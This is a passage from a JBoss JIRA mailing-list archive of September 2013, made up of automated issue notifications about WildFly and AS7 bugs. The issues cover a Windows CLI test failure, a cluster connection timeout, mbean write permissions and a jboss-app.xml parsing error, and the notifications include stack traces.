>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 7.1.2.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>         Environment: Windows
>            Reporter: Tomaz Cerar
>            Assignee: Alexey Loubyansky
>             Fix For: EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> org.jboss.as.test.integration.management.cli.CliArgumentsTestCase.testWrongControler consistently fails on windows.
> jenkins build where it can be seen
> http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-windows-build/243/testReport/org.jboss.as.test.integration.management.cli/CliArgumentsTestCase/testWrongControler/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:50:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 13:50:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5350)
 CliArgumentsTestCase.testWrongControler always fails on windows
In-Reply-To: <JIRA.12472341.1344851689000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12472341.1344851689000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12472341.1344851689000.37733.1379699404718@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5350?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806144#comment-12806144 ] 

RH Bugzilla Integration commented on AS7-5350:
----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> made a comment on [bug 900988|https://bugzilla.redhat.com/show_bug.cgi?id=900988]

this test is working 
current stats for it on lightning:

545 runs / 2 failures / 0 ignored Success rate: 99.6% 

see http://lightning.mw.lab.eng.bos.redhat.com/project.html?projectId=EAP&testNameId=3339343782755427496&tab=testDetails 
for more details
                
> CliArgumentsTestCase.testWrongControler always fails on windows
> ---------------------------------------------------------------
>
>                 Key: AS7-5350
>                 URL: https://issues.jboss.org/browse/AS7-5350
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 7.1.2.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>         Environment: Windows
>            Reporter: Tomaz Cerar
>            Assignee: Alexey Loubyansky
>             Fix For: EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> org.jboss.as.test.integration.management.cli.CliArgumentsTestCase.testWrongControler consistently fails on windows.
> jenkins build where it can be seen
> http://lightning.mw.lab.eng.bos.redhat.com/jenkins/job/as7-master-windows-build/243/testReport/org.jboss.as.test.integration.management.cli/CliArgumentsTestCase/testWrongControler/

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:50:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 13:50:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (AS7-5132) Connection timeout to local
 port 9999 with clustered AS 7.1.1.Final
In-Reply-To: <JIRA.12469992.1341600408000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12469992.1341600408000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12469992.1341600408000.37739.1379699405001@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/AS7-5132?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806146#comment-12806146 ] 

RH Bugzilla Integration commented on AS7-5132:
----------------------------------------------

Tomaz Cerar <tcerar at redhat.com> made a comment on [bug 900988|https://bugzilla.redhat.com/show_bug.cgi?id=900988]

this test is working 
current stats for it on lightning:

545 runs / 2 failures / 0 ignored Success rate: 99.6% 

see http://lightning.mw.lab.eng.bos.redhat.com/project.html?projectId=EAP&testNameId=3339343782755427496&tab=testDetails 
for more details
                
> Connection timeout to local port 9999 with clustered AS 7.1.1.Final
> -------------------------------------------------------------------
>
>                 Key: AS7-5132
>                 URL: https://issues.jboss.org/browse/AS7-5132
>             Project: Application Server 7
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 7.1.1.Final
>         Environment: Fedora 17 on Amazon EC2
>            Reporter: Jack Lund
>            Assignee: Emanuel Muckenhuber
>              Labels: as7, cluster, domain
>             Fix For: 7.1.3.Final (EAP), EAP 6.1.0.Alpha (7.2.0.Final)
>
>
> A clustered configuration of two AS 7 instances has an issue with the connection to port 9999 timing out when starting up. The instances are configured as per https://docs.jboss.org/author/display/AS71/AS7+Cluster+Howto. On startup, we get the following error randomly for one or more of the server instances:
> {quote}
> [Server:server-two] 16:36:03,492 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.host.controller.client: org.jboss.msc.service.StartException in service jboss.host.controller.client: java.net.ConnectException: JBAS012144: Could not connect to remote://10.108.25.156:9999. The connection timed out
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerClient.start(HostControllerServerClient.java:161) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> [Server:server-two]           at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> [Server:server-two]           at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) [rt.jar:1.7.0_05]
> [Server:server-two]           at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) [rt.jar:1.7.0_05]
> [Server:server-two]           at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_05]
> [Server:server-two] Caused by: java.net.ConnectException: JBAS012144: Could not connect to remote://nephele-beta-jboss1:9999. The connection timed out
> [Server:server-two]           at org.jboss.as.protocol.ProtocolChannelClient.connectSync(ProtocolChannelClient.java:155) [jboss-as-protocol-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerConnection.openChannel(HostControllerServerConnection.java:158) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerConnection.connect(HostControllerServerConnection.java:86) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           at org.jboss.as.server.mgmt.domain.HostControllerServerClient.start(HostControllerServerClient.java:135) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> [Server:server-two]           ... 5 more
> {quote}
> We usually have to restart the master server instance 10-15 times before all server instances start up without this error, which suggests a race condition between the listening and connecting sockets. Note that this is running on the equivalent of a single-core, fairly slow machine currently, which may be exacerbating the effects.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:55:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Fri, 20 Sep 2013 13:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1817) Ensure platform-mbean misc
 write ops require write perms
In-Reply-To: <JIRA.12497907.1375583083000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497907.1375583083000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497907.1375583083000.37743.1379699703617@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1817?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar updated WFLY-1817:
------------------------------

    Fix Version/s: 8.0.0.Beta1
                       (was: 8.0.0.CR1)

    
> Ensure platform-mbean misc write ops require write perms
> --------------------------------------------------------
>
>                 Key: WFLY-1817
>                 URL: https://issues.jboss.org/browse/WFLY-1817
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Tomaz Cerar
>             Fix For: 8.0.0.Beta1
>
>
> The platform-mbean resources have a variety of write ops that change runtime state but don't do anything to inform the OperationContext that they are doning so. The OC needs to be signalled so it can enforce write permissions.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:55:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 13:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-800) Deployment fails while
 previous message implies content was fine
In-Reply-To: <JIRA.12481852.1357139964000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481852.1357139964000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481852.1357139964000.37747.1379699703865@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-800?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd updated WFLY-800:
-----------------------------

    Description: 
In jboss-app.xml old style markup like this:

{code:xml}
<module-order>strict</module-order>
{code}

causes the whole deployment roll back. However, the deployer first claims it's OK and then throws undecipherable Exception message adding to the confusion.

It is OK to refuse to deploy because XML contains invalid element, but _not_ OK to fail to deploy and not tell that element was invalid, but instead suggest the XML was malformed, which it was not.

Beginning of the jboss-app.xml:

{code:xml}
<?xml version="1.0" encoding="UTF-8"?>
<jboss-app xmlns="http://www.jboss.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  version="7.0">
  <module-order>strict</module-order>
{code}

And the Exception:

{noformat}
17:04:32,075 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) JBAS015876: Starting deployment of "foo.ear"
17:04:32,099 WARN  [org.jboss.metadata.parser.jboss.JBossAppMetaDataParser] (MSC service thread 1-2) module-order element in jboss-app.xml is deprecated and has been ignored
17:04:32,103 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.deployment.unit."foo.ear".STRUCTURE: org.jboss.msc.service.StartException in service jboss.deployment.unit."foo.ear".STRUCTURE: Failed to process phase STRUCTURE of deployment "foo.ear"
	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:119) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_33]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_33]
	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_33]
Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011059: Failed to parse "/content/foo.ear/META-INF/jboss-app.xml"
	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:123)
	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.deploy(EarMetaDataParsingProcessor.java:64)
	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:113) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
	... 5 more
Caused by: com.ctc.wstx.exc.WstxParsingException: Received non-all-whitespace CHARACTERS or CDATA event in nextTag().
 at [row,col {unknown-source}]: [4,22]
	at com.ctc.wstx.sr.StreamScanner.constructWfcException(StreamScanner.java:606)
	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:479)
	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:464)
	at com.ctc.wstx.sr.BasicStreamReader.nextTag(BasicStreamReader.java:1137)
	at org.jboss.metadata.parser.jboss.JBossAppMetaDataParser.parse(JBossAppMetaDataParser.java:88)
	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:120)
	... 7 more
{noformat}

  was:
In jboss-app.xml old style markup like this:

<module-order>strict</module-order>

causes the whole deployment roll back. However, the deployer first claims it's OK and then throws undecipherable Exception message adding to the confusion.

It is OK to refuse to deploy because XML contains invalid element, but _not_ OK to fail to deploy and not tell that element was invalid, but instead suggest the XML was malformed, which it was not.

Beginning of the jboss-app.xml:

<?xml version="1.0" encoding="UTF-8"?>
<jboss-app xmlns="http://www.jboss.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  version="7.0">
  <module-order>strict</module-order>

And the Exception:

17:04:32,075 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) JBAS015876: Starting deployment of "foo.ear"
17:04:32,099 WARN  [org.jboss.metadata.parser.jboss.JBossAppMetaDataParser] (MSC service thread 1-2) module-order element in jboss-app.xml is deprecated and has been ignored
17:04:32,103 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.deployment.unit."foo.ear".STRUCTURE: org.jboss.msc.service.StartException in service jboss.deployment.unit."foo.ear".STRUCTURE: Failed to process phase STRUCTURE of deployment "foo.ear"
	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:119) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_33]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_33]
	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_33]
Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011059: Failed to parse "/content/foo.ear/META-INF/jboss-app.xml"
	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:123)
	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.deploy(EarMetaDataParsingProcessor.java:64)
	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:113) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
	... 5 more
Caused by: com.ctc.wstx.exc.WstxParsingException: Received non-all-whitespace CHARACTERS or CDATA event in nextTag().
 at [row,col {unknown-source}]: [4,22]
	at com.ctc.wstx.sr.StreamScanner.constructWfcException(StreamScanner.java:606)
	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:479)
	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:464)
	at com.ctc.wstx.sr.BasicStreamReader.nextTag(BasicStreamReader.java:1137)
	at org.jboss.metadata.parser.jboss.JBossAppMetaDataParser.parse(JBossAppMetaDataParser.java:88)
	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:120)
	... 7 more




Edited for readability
                
> Deployment fails while previous message implies content was fine
> ----------------------------------------------------------------
>
>                 Key: WFLY-800
>                 URL: https://issues.jboss.org/browse/WFLY-800
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>         Environment: Ubuntu Linux 12.10, x86_64
>            Reporter: Jari Juslin
>            Assignee: David Lloyd
>
> In jboss-app.xml old style markup like this:
> {code:xml}
> <module-order>strict</module-order>
> {code}
> causes the whole deployment roll back. However, the deployer first claims it's OK and then throws undecipherable Exception message adding to the confusion.
> It is OK to refuse to deploy because XML contains invalid element, but _not_ OK to fail to deploy and not tell that element was invalid, but instead suggest the XML was malformed, which it was not.
> Beginning of the jboss-app.xml:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <jboss-app xmlns="http://www.jboss.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>   version="7.0">
>   <module-order>strict</module-order>
> {code}
> And the Exception:
> {noformat}
> 17:04:32,075 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) JBAS015876: Starting deployment of "foo.ear"
> 17:04:32,099 WARN  [org.jboss.metadata.parser.jboss.JBossAppMetaDataParser] (MSC service thread 1-2) module-order element in jboss-app.xml is deprecated and has been ignored
> 17:04:32,103 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.deployment.unit."foo.ear".STRUCTURE: org.jboss.msc.service.StartException in service jboss.deployment.unit."foo.ear".STRUCTURE: Failed to process phase STRUCTURE of deployment "foo.ear"
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:119) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_33]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_33]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_33]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011059: Failed to parse "/content/foo.ear/META-INF/jboss-app.xml"
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:123)
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.deploy(EarMetaDataParsingProcessor.java:64)
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:113) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> 	... 5 more
> Caused by: com.ctc.wstx.exc.WstxParsingException: Received non-all-whitespace CHARACTERS or CDATA event in nextTag().
>  at [row,col {unknown-source}]: [4,22]
> 	at com.ctc.wstx.sr.StreamScanner.constructWfcException(StreamScanner.java:606)
> 	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:479)
> 	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:464)
> 	at com.ctc.wstx.sr.BasicStreamReader.nextTag(BasicStreamReader.java:1137)
> 	at org.jboss.metadata.parser.jboss.JBossAppMetaDataParser.parse(JBossAppMetaDataParser.java:88)
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:120)
> 	... 7 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:57:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 13:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-800) Deployment fails while
 previous message implies content was fine
In-Reply-To: <JIRA.12481852.1357139964000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481852.1357139964000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481852.1357139964000.37751.1379699823516@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-800?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806148#comment-12806148 ] 

David Lloyd commented on WFLY-800:
----------------------------------

Can you post the entire jboss-app.xml?  In the meantime I'll review the parsing code
                
> Deployment fails while previous message implies content was fine
> ----------------------------------------------------------------
>
>                 Key: WFLY-800
>                 URL: https://issues.jboss.org/browse/WFLY-800
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>         Environment: Ubuntu Linux 12.10, x86_64
>            Reporter: Jari Juslin
>            Assignee: David Lloyd
>
> In jboss-app.xml old style markup like this:
> {code:xml}
> <module-order>strict</module-order>
> {code}
> causes the whole deployment roll back. However, the deployer first claims it's OK and then throws undecipherable Exception message adding to the confusion.
> It is OK to refuse to deploy because XML contains invalid element, but _not_ OK to fail to deploy and not tell that element was invalid, but instead suggest the XML was malformed, which it was not.
> Beginning of the jboss-app.xml:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <jboss-app xmlns="http://www.jboss.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>   version="7.0">
>   <module-order>strict</module-order>
> {code}
> And the Exception:
> {noformat}
> 17:04:32,075 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) JBAS015876: Starting deployment of "foo.ear"
> 17:04:32,099 WARN  [org.jboss.metadata.parser.jboss.JBossAppMetaDataParser] (MSC service thread 1-2) module-order element in jboss-app.xml is deprecated and has been ignored
> 17:04:32,103 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.deployment.unit."foo.ear".STRUCTURE: org.jboss.msc.service.StartException in service jboss.deployment.unit."foo.ear".STRUCTURE: Failed to process phase STRUCTURE of deployment "foo.ear"
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:119) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_33]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_33]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_33]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011059: Failed to parse "/content/foo.ear/META-INF/jboss-app.xml"
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:123)
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.deploy(EarMetaDataParsingProcessor.java:64)
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:113) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> 	... 5 more
> Caused by: com.ctc.wstx.exc.WstxParsingException: Received non-all-whitespace CHARACTERS or CDATA event in nextTag().
>  at [row,col {unknown-source}]: [4,22]
> 	at com.ctc.wstx.sr.StreamScanner.constructWfcException(StreamScanner.java:606)
> 	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:479)
> 	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:464)
> 	at com.ctc.wstx.sr.BasicStreamReader.nextTag(BasicStreamReader.java:1137)
> 	at org.jboss.metadata.parser.jboss.JBossAppMetaDataParser.parse(JBossAppMetaDataParser.java:88)
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:120)
> 	... 7 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 13:59:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 13:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-800) Deployment fails while
 previous message implies content was fine
In-Reply-To: <JIRA.12481852.1357139964000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12481852.1357139964000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12481852.1357139964000.37755.1379699943446@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-800?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806149#comment-12806149 ] 

David Lloyd commented on WFLY-800:
----------------------------------

I think I see the issue though...
                
> Deployment fails while previous message implies content was fine
> ----------------------------------------------------------------
>
>                 Key: WFLY-800
>                 URL: https://issues.jboss.org/browse/WFLY-800
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>         Environment: Ubuntu Linux 12.10, x86_64
>            Reporter: Jari Juslin
>            Assignee: David Lloyd
>
> In jboss-app.xml old style markup like this:
> {code:xml}
> <module-order>strict</module-order>
> {code}
> causes the whole deployment roll back. However, the deployer first claims it's OK and then throws undecipherable Exception message adding to the confusion.
> It is OK to refuse to deploy because XML contains invalid element, but _not_ OK to fail to deploy and not tell that element was invalid, but instead suggest the XML was malformed, which it was not.
> Beginning of the jboss-app.xml:
> {code:xml}
> <?xml version="1.0" encoding="UTF-8"?>
> <jboss-app xmlns="http://www.jboss.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>   version="7.0">
>   <module-order>strict</module-order>
> {code}
> And the Exception:
> {noformat}
> 17:04:32,075 INFO  [org.jboss.as.server.deployment] (MSC service thread 1-5) JBAS015876: Starting deployment of "foo.ear"
> 17:04:32,099 WARN  [org.jboss.metadata.parser.jboss.JBossAppMetaDataParser] (MSC service thread 1-2) module-order element in jboss-app.xml is deprecated and has been ignored
> 17:04:32,103 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-2) MSC00001: Failed to start service jboss.deployment.unit."foo.ear".STRUCTURE: org.jboss.msc.service.StartException in service jboss.deployment.unit."foo.ear".STRUCTURE: Failed to process phase STRUCTURE of deployment "foo.ear"
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:119) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) [rt.jar:1.6.0_33]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) [rt.jar:1.6.0_33]
> 	at java.lang.Thread.run(Thread.java:662) [rt.jar:1.6.0_33]
> Caused by: org.jboss.as.server.deployment.DeploymentUnitProcessingException: JBAS011059: Failed to parse "/content/foo.ear/META-INF/jboss-app.xml"
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:123)
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.deploy(EarMetaDataParsingProcessor.java:64)
> 	at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:113) [jboss-as-server-7.1.1.Final.jar:7.1.1.Final]
> 	... 5 more
> Caused by: com.ctc.wstx.exc.WstxParsingException: Received non-all-whitespace CHARACTERS or CDATA event in nextTag().
>  at [row,col {unknown-source}]: [4,22]
> 	at com.ctc.wstx.sr.StreamScanner.constructWfcException(StreamScanner.java:606)
> 	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:479)
> 	at com.ctc.wstx.sr.StreamScanner.throwParseError(StreamScanner.java:464)
> 	at com.ctc.wstx.sr.BasicStreamReader.nextTag(BasicStreamReader.java:1137)
> 	at org.jboss.metadata.parser.jboss.JBossAppMetaDataParser.parse(JBossAppMetaDataParser.java:88)
> 	at org.jboss.as.ee.structure.EarMetaDataParsingProcessor.handleJbossMetadata(EarMetaDataParsingProcessor.java:120)
> 	... 7 more
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 14:42:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 20 Sep 2013 14:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-812) jboss-ejb3.xml is not
	correctly validated
In-Reply-To: <JIRA.12484145.1360072180000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484145.1360072180000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484145.1360072180000.37778.1379702523537@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-812?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

David Lloyd resolved WFLY-812.
------------------------------

      Assignee: David Lloyd  (was: jaikiran pai)
    Resolution: Rejected


